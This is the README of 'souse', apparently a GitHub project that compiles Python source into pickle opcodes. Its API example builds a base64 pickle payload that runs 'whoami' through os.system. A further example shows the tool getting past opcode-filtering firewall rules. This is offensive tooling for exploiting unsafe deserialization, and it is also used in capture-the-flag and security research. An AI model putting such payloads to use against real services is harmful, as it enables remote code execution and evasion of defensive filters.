Skip to content

A tool for converting Python source code to opcode(pickle)

License

Notifications You must be signed in to change notification settings

Macr0phag3/souse

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

46 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

souse

A tool for converting Python source code to opcode(pickle)

1. help

2. usage

2.1 CLI

./test/ has some example codes for souse.py. The filename starts with N is NOT supported yet.

2.1.1 case 1

source code:

opcode:

2.1.2 case 2

source code:

opcode:

2.1.3 case 3

transfer opcode:

supported:

  • base64_encode
  • hex_encode
  • url_encode

2.1.4 test code

2.2 API

example:

In [1]: import souse

In [2]: exp = "from os import system\nsystem('whoami')"

In [3]: souse.API(exp, optimized=True, transfer="b64").generate()
Out[3]: b'Y29zCnN5c3RlbQooVndob2FtaQp0Ui4='

In [4]: import base64

In [5]: souse.API(exp, optimized=True, transfer=base64.b64encode).generate()
Out[5]: b'Y29zCnN5c3RlbQooVndob2FtaQp0Ui4='

In [6]: souse.API(exp, optimized=True, transfer=[bytes.decode, str.encode, base64.b64encode]).generate()
Out[6]: b'Y29zCnN5c3RlbQooVndob2FtaQp0Ui4='

In [7]: import pickle

In [8]: firewall_rules = {
    ...:     "V": "*",
    ...:     "I01": "*",
    ...:     "I": "100",
    ...:     "R": "*"
    ...: }

In [9]: souse.API(exp, optimized=True, transfer=pickle.loads, firewall_rules=firewall_rules).generate()
[*] choice o to bypass rule: {'R': '*'}
[*] choice S to bypass rule: {'V': '*'}
macr0phag3
Out[9]: 0

3. TODO

  • support for nested expressions
  • opcode bypass supported
    • auto bypass basic limitation(VSI、...)
    • auto bypass complex limitation(Roi
  • value bypass supported
    • number
  • API
  • pip install supported

## Others

Stargazers over time

About

A tool for converting Python source code to opcode(pickle)

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages